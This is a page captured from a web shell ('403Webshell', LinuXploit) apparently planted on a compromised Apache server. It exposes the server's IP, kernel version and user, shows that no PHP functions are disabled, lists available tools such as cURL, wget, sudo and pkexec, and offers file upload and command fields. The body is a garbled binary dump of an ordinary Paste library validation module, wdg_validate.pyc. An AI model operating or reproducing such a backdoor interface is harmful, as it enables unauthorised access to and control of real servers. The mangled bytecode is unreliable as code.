403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/paste/debug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pyc
Ńň
ĘIc@sŁdZddklZyddkZWn#ej
oddklZnXddklZddk	Z	ddk
Z
dgZdefd„ƒYZ
dd	„ZdS(
s…
Middleware that tests the validity of all generated HTML using the
`WDG HTML Validator <http://www.htmlhelp.com/tools/validator/>`_
i˙˙˙˙(tStringION(tsubprocess24(twsgilibtWDGValidateMiddlewarecBsMeZdZeideiƒZddd„Zd„Z	d„Z
d„ZRS(sb
    Middleware that checks HTML and appends messages about the validity of
    the HTML.  Uses: http://www.htmlhelp.com/tools/validator/ -- interacts
    with the command line client.  Use the configuration ``wdg_path`` to
    override the path (default: looks for ``validate`` in $PATH).

    To install, in your web context's __init__.py::

        def urlparser_wrap(environ, start_response, app):
            return wdg_validate.WDGValidateMiddleware(app)(
                environ, start_response)

    Or in your configuration::

        middleware.append('paste.wdg_validate.WDGValidateMiddleware')
    s</body>tvalidatecCs||_||_dS(N(tapptwdg_path(tselfRtglobal_confR((s</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pyt__init__(s	c
sGtƒ‰g‰d‡‡‡fd†}|i||ƒ}z"x|D]}ˆi|ƒqCWWdt|dƒo|iƒnXˆiƒ}ˆ\}}ti|dƒpd}	|	i	dƒo*|	i	dƒo|	i	dƒo|gSg}
|	i	dƒo|
i
d	ƒn|i|i|
|ƒ}|p|gS|i
||ƒS(
Ncs*ˆi||fƒˆ|||ƒˆiS(N(textendtwrite(tstatustheaderstexc_info(tstart_responsetoutputtresponse(s</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pytwriter_start_response0stclosescontent-typets	text/htmls
text/xhtmlsapplication/xhtmlstext/xhtml+xmls--xml(RtNoneRRthasattrRtgetvalueRtheader_valuet
startswithtappendtcall_wdg_validateRt	add_error(RtenvironRRtapp_itertstpageRR
tvtopsthtml_errors((RRRs</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pyt__call__,s2	cCs{tdjotdƒ‚nti|g|dtdtdtidtidtiƒ}|i|ƒd}|i	ƒ|S(Ns>This middleware requires the subprocess module from Python 2.4tshellt	close_fdststdouttstdintstderri(
t
subprocessRt
ValueErrortPopentFalsetTruetPIPEtSTDOUTtcommunicatetwait(RRR"R tprocR'((s</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pyROs

		
cCs_dti|ƒ}|ii|ƒ}|o$||iƒ |||iƒgS||gSdS(NsR<pre style="background-color: #ffd; color: #600; border: 1px solid #000;">%s</pre>(tcgitescapet_end_body_regextsearchtstarttend(Rt	html_pageR#tadd_texttmatch((s</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pyR^s$N(t__name__t
__module__t__doc__tretcompiletIR6RR	R$RR(((s</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pyRs	#	RcCst||d|ƒS(s
    Wraps the application in the WDG validator from
    http://www.htmlhelp.com/tools/validator/

    Validation errors are appended to the text of each page.
    You can configure this by giving the path to the validate
    executable (by default picked up from $PATH)
    R(R(RRR((s</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pytmake_wdg_validate_middlewarejs
(R?t	cStringIORR*tImportErrort
paste.utilRtpasteRR@R4t__all__tobjectRRC(((s</usr/lib/python2.6/site-packages/paste/debug/wdg_validate.pyt<module>s	X

Youez - 2016 - github.com/yon3zu
LinuXploit